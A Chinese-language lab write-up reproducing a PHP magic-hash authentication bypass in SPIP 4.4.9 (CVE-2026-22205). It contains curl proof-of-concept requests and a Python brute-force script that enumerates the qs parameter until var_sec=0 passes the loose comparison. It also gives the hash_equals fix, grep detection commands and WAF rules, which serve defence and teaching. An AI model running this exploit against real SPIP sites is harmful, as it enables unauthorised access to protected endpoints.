CVE-2026-22205 漏洞复现:SPIP PHP 类型混淆认证绕过
关键词:SPIP、PHP 类型混淆、魔法哈希、Authentication Bypass、low_sec、hash_equals、CVE-2026-22205
影响版本:SPIP < 4.4.10
漏洞版本:SPIP 4.4.9
修复版本:SPIP >= 4.4.10
漏洞类型:认证绕过 / PHP Type Juggling
复现环境:本地 Docker 靶场
0. 免责声明
本文仅用于安全研究、代码审计学习和本地授权环境复现。文中脚本默认限制在 localhost / 127.0.0.1 环境运行,请勿对未授权站点进行扫描、验证或攻击。
1. 文章导读
CVE-2026-22205 是 SPIP 中一个典型的 PHP 类型混淆认证绕过漏洞。其核心问题非常简单:认证校验函数在比较用户传入的认证值和服务端计算出的哈希值时使用了 PHP 松散比较运算符 ==。
在 PHP 中,类似下面的比较结果会返回 true:
"0" == "0e627739"
原因是 "0e627739" 会被 PHP 当作科学计数法形式的数值字符串,即:
0 × 10^627739 = 0
于是比较过程会变成:
0 == 0.0
最终认证通过。
这个漏洞看起来像是“一行代码”的问题,但在真实复现过程中,还有一个很容易被忽略的关键点:公告或初始审计描述的哈希输入,和运行时实际参与计算的输入可能并不完全一致。本文会从环境搭建、代码定位、原理分析、动态验证、自动化脚本和修复建议几个方面完整展开。
2. 环境搭建
2.1 环境信息
| 组件 | 版本 |
|---|---|
| PHP | 8.1 + Apache 2.4 |
| Database | MariaDB 10.6 |
| SPIP | 4.4.9 |
| 修复版本 | 4.4.10 |
| 管理员 | admin / admin123 |
| 靶机地址 | http://localhost:9981 |
2.2 目录结构
spip-cve-2026-22205/
├── docker-compose.yml
├── Dockerfile
└── www/
2.3 Dockerfile
FROM php:8.1-apache
RUN apt-get update && apt-get install -y \
unzip \
wget \
libzip-dev \
libpng-dev \
libjpeg-dev \
libfreetype6-dev \
libicu-dev \
default-mysql-client \
&& docker-php-ext-configure gd --with-freetype --with-jpeg \
&& docker-php-ext-install mysqli pdo pdo_mysql gd zip intl \
&& a2enmod rewrite \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /var/www/html
2.4 docker-compose.yml
version: "3.8"
services:
db:
image: mariadb:10.6
container_name: spip-db
restart: unless-stopped
environment:
MARIADB_ROOT_PASSWORD: rootpass
MARIADB_DATABASE: spip
MARIADB_USER: spip
MARIADB_PASSWORD: spippass
ports:
- "3308:3306"
web:
build: .
container_name: spip-web
restart: unless-stopped
depends_on:
- db
ports:
- "9981:80"
volumes:
- ./www:/var/www/html
2.5 下载 SPIP 4.4.9
mkdir -p spip-cve-2026-22205/www
cd spip-cve-2026-22205
curl -L -o spip-v4.4.9.zip \
https://files.spip.net/spip/archives/spip-v4.4.9.zip
unzip spip-v4.4.9.zip -d www
如果压缩包解压后多了一层目录,可以执行:
mv www/spip/* www/
mv www/spip/.[!.]* www/ 2>/dev/null || true
rmdir www/spip
赋权:
chmod -R 777 www/config www/IMG www/local www/tmp 2>/dev/null || true
启动:
docker compose up -d --build
访问:
http://localhost:9981
浏览器进入安装向导后填写数据库信息:
数据库主机:db
数据库名:spip
数据库用户:spip
数据库密码:spippass
创建管理员:
admin / admin123
3. 漏洞定位
3.1 5 层调用链
从 HTTP 请求到认证判断,大致可以抽象成 5 层调用链:
第 1 层:HTTP 请求进入 spip.php
↓
第 2 层:action=api_transmettre 分发到 ecrire/action/api_transmettre.php
↓
第 3 层:api_transmettre.php 解析 arg、format、fond 等参数
↓
第 4 层:调用 verifier_low_sec() 校验轻量认证值
↓
第 5 层:ecrire/inc/acces.php 中使用 == 比较认证哈希
关键点在第 5 层。
漏洞不是复杂的反序列化,也不是 SQL 注入,而是一个非常典型的 PHP 松散比较问题:
return ($cle == afficher_low_sec($id_auteur, $action));
只要服务端计算出的 afficher_low_sec() 结果满足魔法哈希格式:
0e + 全数字
攻击者传入:
0
就可能通过认证。
3.2 漏洞函数源码结构
核心文件:
ecrire/inc/acces.php
漏洞函数可以简化为下面的结构:
function afficher_low_sec($id_auteur, $action = '') {
// 实际代码中会结合站点 secret、作者 ID、action 等信息计算摘要
return substr(md5($id_auteur . $action . secret_du_site()), 0, 8);
}
function verifier_low_sec($cle, $id_auteur, $action = '') {
return ($cle == afficher_low_sec($id_auteur, $action));
}
真实代码中的 afficher_low_sec() 细节会更多,但漏洞点并不在 MD5 本身,而在比较方式:
$cle == afficher_low_sec(...)
== 是松散比较,会触发 PHP 类型转换。
安全比较应该使用:
hash_equals(afficher_low_sec($id_auteur, $action), (string) $cle)
3.3 修复版本对比
SPIP 4.4.10 中修复了该问题,核心思路就是将松散比较替换为常量时间字符串比较。
漏洞版本:
return ($cle == afficher_low_sec($id_auteur, $action));
修复版本:
return hash_equals(afficher_low_sec($id_auteur, $action), (string) $cle);
这个修复有两个作用:
1. 不再触发 PHP 类型强制转换;
2. 避免普通字符串比较可能带来的时序侧信道风险。
4. 漏洞原理分析
4.1 PHP 类型混淆与魔法哈希
在 PHP 中,== 会进行类型转换。
测试代码:
<?php
var_dump("0" == "0e627739");
var_dump("0" === "0e627739");
var_dump(hash_equals("0e627739", "0"));
保存为:
magic_hash_demo.php
运行:
php magic_hash_demo.php
输出:
bool(true)
bool(false)
bool(false)
含义如下:
| 表达式 | 结果 | 原因 |
"0" == "0e627739" |
true | 松散比较,二者都被当成数值 0 |
"0" === "0e627739" |
false | 严格比较,字符串内容不同 |
hash_equals("0e627739", "0") |
false | 按字符串安全比较,不触发类型转换 |
这就是所谓的“魔法哈希”问题。
只要哈希值长得像下面这样:
0e123456
0e627739
0e999999
并且比较时使用 ==,它就可能被 PHP 当成科学计数法形式的 0。
4.2 为什么 8 字符 MD5 前缀也会出问题
本漏洞中参与比较的不是完整 32 位 MD5,而是 8 字符前缀。
8 字符十六进制共有:
16^8 = 4,294,967,296
如果目标格式是:
0e + 6 位数字
概率约为:
P = 1/16 × 1/16 × (10/16)^6
≈ 1/4295
也就是说,理论上平均尝试约 4,295 次,就有机会碰到一个形如 0e + 6 位数字 的哈希前缀。
这也是该漏洞可以通过自动化请求在本地环境中较快复现的原因。
4.3 公告描述与实际验证的偏差
复现过程中最容易踩坑的是哈希输入。
直觉上,很多人会认为哈希输入包含完整的 QUERY_STRING,也就是 URL 中 ? 后面的全部内容,例如:
action=api_transmettre&arg=0/0/rss/forums_public&qs=1
但实际动态验证发现,api_transmettre.php 在计算认证动作字符串之前,会主动剥离部分控制参数,例如:
action
arg
var_mode
因此,真正进入低权限认证哈希计算的,可能不是完整查询串,而是剥离后的业务参数。
以本地实验为例:
公告预期:
transmettre/rss forums_public action=api_transmettre&arg=0/0/rss/forums_public&qs=1
实际行为:
transmettre/rss forums_public qs=1
这个差异非常关键。
如果攻击脚本按照“完整 QUERY_STRING”去预测或构造输入,就会一直撞不到正确结果。正确做法是结合代码审计与动态验证,确认运行时真实参与计算的字符串。
5. 漏洞复现
5.1 基线请求:无认证访问
先访问本地接口,不带有效认证值。
示例:
curl -i "http://localhost:9981/spip.php?action=api_transmettre&arg=0/0/rss/forums_public&qs=baseline"
预期结果:
HTTP/1.1 200 OK
页面标题:Accès interdit
页面正文:Argument non compris
这说明接口存在,但轻量认证未通过。
5.2 魔法哈希认证绕过思路
认证绕过的核心不是猜出服务端 secret,而是通过控制可变参数,让服务端计算出的 8 位哈希前缀变成:
0e + 6 位数字
然后攻击者传入认证值:
0
最终比较变成:
"0" == "0e627739"
认证通过。
本地复现实验中,可以通过改变 qs 参数持续尝试。例如某次实验命中:
qs = 5g8tuh
server hash prefix = 0e627739
请求变为:
curl -i "http://localhost:9981/spip.php?action=api_transmettre&arg=0/0/rss/forums_public&var_sec=0&qs=5g8tuh"
成功时响应从错误页面变为 RSS XML 内容。
对比现象:
| 场景 | 响应特征 |
| 无认证 / 未命中 | 页面包含 Accès interdit、Argument non compris |
| 魔法哈希命中 | 返回正常 RSS XML 内容 |
| 修复后 | 即使命中魔法哈希,也无法通过 hash_equals() |
6. 自动化本地验证脚本
下面脚本仅允许访问 localhost / 127.0.0.1,不支持公网目标。它的作用是本地靶场中枚举 qs 参数,观察是否出现认证绕过响应。
保存为:
spip_22205_local_check.py
代码如下:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CVE-2026-22205 SPIP 本地授权靶场验证脚本
功能:
1. 仅允许 localhost / 127.0.0.1;
2. 单线程低速枚举 qs 参数;
3. 不读取后台敏感数据;
4. 通过响应特征判断本地环境是否存在认证绕过。
使用示例:
python spip_22205_local_check.py --base http://localhost:9981 --max 10000
"""
import argparse
import random
import string
import sys
import time
from urllib.parse import urlparse
import requests
LOCAL_HOSTS = {"localhost", "127.0.0.1", "::1"}
def assert_local(base_url: str) -> None:
host = urlparse(base_url).hostname
if host not in LOCAL_HOSTS:
raise SystemExit("[!] 安全限制:该脚本仅允许用于本地授权靶场。")
def rand_token(length: int = 6) -> str:
alphabet = string.ascii_lowercase + string.digits
return "".join(random.choice(alphabet) for _ in range(length))
def is_success(resp: requests.Response) -> bool:
text = resp.text.lower()
# 失败页面常见特征
if "accès interdit" in text or "acces interdit" in text:
return False
if "argument non compris" in text:
return False
# 成功返回 RSS/XML 的常见特征
if "<?xml" in text or "<rss" in text or "<channel" in text:
return True
# 兜底判断:本地实验中成功响应往往更短、更像 API 输出
ctype = resp.headers.get("Content-Type", "").lower()
if "xml" in ctype:
return True
return False
def request_once(base: str, qs_value: str, timeout: int = 8) -> requests.Response:
url = base.rstrip("/") + "/spip.php"
params = {
"action": "api_transmettre",
"arg": "0/0/rss/forums_public",
"var_sec": "0",
"qs": qs_value,
}
return requests.get(url, params=params, timeout=timeout)
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--base", required=True, help="例如 http://localhost:9981")
parser.add_argument("--max", type=int, default=10000, help="最大尝试次数,默认 10000")
parser.add_argument("--sleep", type=float, default=0.01, help="每次请求间隔,默认 0.01 秒")
parser.add_argument("--known", default="", help="已知候选值,例如 5g8tuh")
args = parser.parse_args()
assert_local(args.base)
print("[+] Target:", args.base)
print("[+] Mode: local-only, single-thread")
# 先测试已知候选值,便于复现实验截图
if args.known:
print(f"[+] Testing known candidate: {args.known}")
resp = request_once(args.base, args.known)
print("[+] HTTP:", resp.status_code)
print("[+] Length:", len(resp.text))
if is_success(resp):
print("[!] Bypass confirmed with known candidate:", args.known)
else:
print("[*] Known candidate not valid in this environment.")
return
for i in range(1, args.max + 1):
candidate = rand_token(6)
try:
resp = request_once(args.base, candidate)
except requests.RequestException as e:
print("[!] Request error:", e)
continue
if i % 100 == 0:
print(f"[*] Tried {i} candidates, latest={candidate}, len={len(resp.text)}")
if is_success(resp):
print("\n[!] Possible authentication bypass!")
print("[+] candidate qs =", candidate)
print("[+] HTTP status =", resp.status_code)
print("[+] body length =", len(resp.text))
print("[+] first 300 bytes:")
print(resp.text[:300])
return
time.sleep(args.sleep)
print("[*] Finished. No valid candidate observed in current run.")
print("[*] 可增加 --max,或结合源码确认实际参与 low_sec 计算的参数。")
if __name__ == "__main__":
main()
运行基线枚举:
python spip_22205_local_check.py --base http://localhost:9981 --max 10000
使用已知候选值验证:
python spip_22205_local_check.py \
--base http://localhost:9981 \
--known 5g8tuh
成功时可能输出:
[+] Target: http://localhost:9981
[+] Mode: local-only, single-thread
[+] Testing known candidate: 5g8tuh
[+] HTTP: 200
[+] Length: 426
[!] Bypass confirmed with known candidate: 5g8tuh
失败时通常为:
[+] HTTP: 200
[+] Length: 13590
[*] Known candidate not valid in this environment.
需要注意,魔法哈希命中值和站点 secret、安装环境、参数输入均有关,不同本地环境中不一定复用同一个 qs 值。
7. 辅助:本地验证 PHP 比较行为
为了让漏洞原理更直观,可以在容器中创建一个 PHP 文件:
cat > www/type_juggling_test.php <<'PHP'
<?php
header('Content-Type: text/plain; charset=utf-8');
$a = "0";
$b = "0e627739";
echo '"0" == "0e627739" => ';
var_dump($a == $b);
echo '"0" === "0e627739" => ';
var_dump($a === $b);
echo 'hash_equals("0e627739", "0") => ';
var_dump(hash_equals($b, $a));
PHP
访问:
http://localhost:9981/type_juggling_test.php
输出:
"0" == "0e627739" => bool(true)
"0" === "0e627739" => bool(false)
hash_equals("0e627739", "0") => bool(false)
这段代码可以直接证明漏洞根因:== 在安全上下文中不可靠。
测试完成后删除:
rm -f www/type_juggling_test.php
8. 影响与危害
成功利用该漏洞后,未认证攻击者可能获得原本需要轻量认证才能访问的内部接口内容。
8.1 直接影响
1. 绕过 low_sec 轻量认证;
2. 访问受保护的 action 处理器;
3. 获取 RSS 聚合、论坛监控、评论审核等内部信息流;
4. 探测 SPIP 站点内部模板、插件、接口结构。
8.2 间接影响
1. 与其他漏洞组合,扩大攻击面;
2. 泄露站点内部运营信息;
3. 为后续后台攻击、社工攻击、插件漏洞利用提供情报;
4. 由于请求表现为普通 GET 访问,日志识别难度较高。
该漏洞本身主要影响机密性,但如果站点中还有其他依赖 low_sec 的敏感动作,就可能进一步放大风险。
9. 修复建议
9.1 官方修复
升级 SPIP 至:
SPIP >= 4.4.10
考虑到 4.4 分支后续仍有安全更新,生产环境建议直接升级到当前官方最新稳定版本。
升级后检查版本:
grep -n "spip_version_branche" ecrire/inc_version.php
或者在后台查看:
Maintenance -> Technical information
9.2 手动热修复
如果暂时无法整体升级,可以临时修改:
ecrire/inc/acces.php
将漏洞代码:
return ($cle == afficher_low_sec($id_auteur, $action));
替换为:
return hash_equals(afficher_low_sec($id_auteur, $action), (string) $cle);
注意参数顺序:
hash_equals($known_string, $user_string)
也就是:
第一个参数:服务端计算出的可信值
第二个参数:用户传入的不可信值
修复后建议清理缓存,并重新生成相关认证值。
9.3 安全检测命令
检查是否存在松散比较:
grep -n '==.*afficher_low_sec\|afficher_low_sec.*==' ecrire/inc/acces.php
如果有输出,说明可能存在风险。
检查项目中哈希函数和松散比较的组合:
grep -rnE '==.*(md5|sha1|hash|hmac)|(md5|sha1|hash|hmac).*==' ecrire/ --include="*.php"
检查是否使用 hash_equals():
grep -rn "hash_equals" ecrire/inc/acces.php
9.4 WAF 临时缓解
临时规则只能降低风险,不能替代升级。
Nginx 示例:
if ($query_string ~* "(action=api_transmettre).*(var_sec=0)") {
return 403;
}
ModSecurity 示例:
SecRule ARGS:action "@streq api_transmettre" \
"id:2220501,phase:2,chain,deny,status:403,msg:'SPIP low_sec suspicious access'"
SecRule ARGS:var_sec "@streq 0"
需要注意,这种规则可能影响正常功能,应先在测试环境验证。
10. 开发侧安全建议
10.1 哈希、Token、签名绝不能使用 ==
错误写法:
if ($_GET['token'] == $expected_token) {
// authenticated
}
较好写法:
if (hash_equals($expected_token, (string) $_GET['token'])) {
// authenticated
}
10.2 不要依赖“看起来随机”的短哈希
8 位 MD5 前缀的空间并不大,且存在魔法哈希格式命中概率。涉及认证、签名、访问控制时,不建议使用短哈希前缀作为唯一安全凭据。
10.3 动态验证比单纯看公告更重要
本次复现中最重要的发现是:
公告描述的输入 ≠ 运行时真实参与计算的输入
api_transmettre.php 会在计算前剥离 action、arg、var_mode 等参数。这个细节决定了攻击脚本能否成功,也说明漏洞分析不能只看公告,应结合:
1. 静态代码审计;
2. 动态请求验证;
3. 响应差异对比;
4. 日志或断点确认。
11. 总结
CVE-2026-22205 是一个非常典型的“一行代码导致高危漏洞”的案例。
它的核心问题可以总结为三点:
第一,认证比较使用了 PHP 松散比较 ==
"0" == "0e123456" 在 PHP 中可能返回 true。
第二,服务端短哈希存在魔法哈希命中概率
8 字符 MD5 前缀平均约数千次尝试就可能出现 0e + 全数字格式。
第三,公告描述和真实代码路径可能存在偏差
api_transmettre.php 在计算前剥离部分参数,导致实际哈希输入与直觉不同。
最终修复方式非常明确:
return hash_equals(afficher_low_sec($id_auteur, $action), (string) $cle);
安全开发中应牢记:
所有哈希、Token、签名、验证码、认证票据的比较,都不要使用
==。在 PHP 中,==是便利性工具,不是安全边界。认证逻辑必须使用hash_equals()或严格的常量时间比较函数。
更多推荐



所有评论(0)